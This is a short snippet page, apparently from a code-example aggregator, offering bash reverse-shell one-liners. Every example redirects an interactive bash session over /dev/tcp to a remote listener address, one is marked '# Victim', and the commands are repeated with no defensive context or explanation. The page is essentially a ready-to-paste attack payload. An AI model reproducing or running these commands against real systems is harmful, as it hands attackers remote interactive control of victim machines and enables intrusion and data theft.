reverse shell in bash code example
Example 1: reverse shell bash
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
Example 2: how to reverse shell
/bin/bash -i > /dev/tcp/0.0.0.0/9000 0<&1 2>&1 # Victim
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
/bin/bash -i > /dev/tcp/0.0.0.0/9000 0<&1 2>&1 # Victim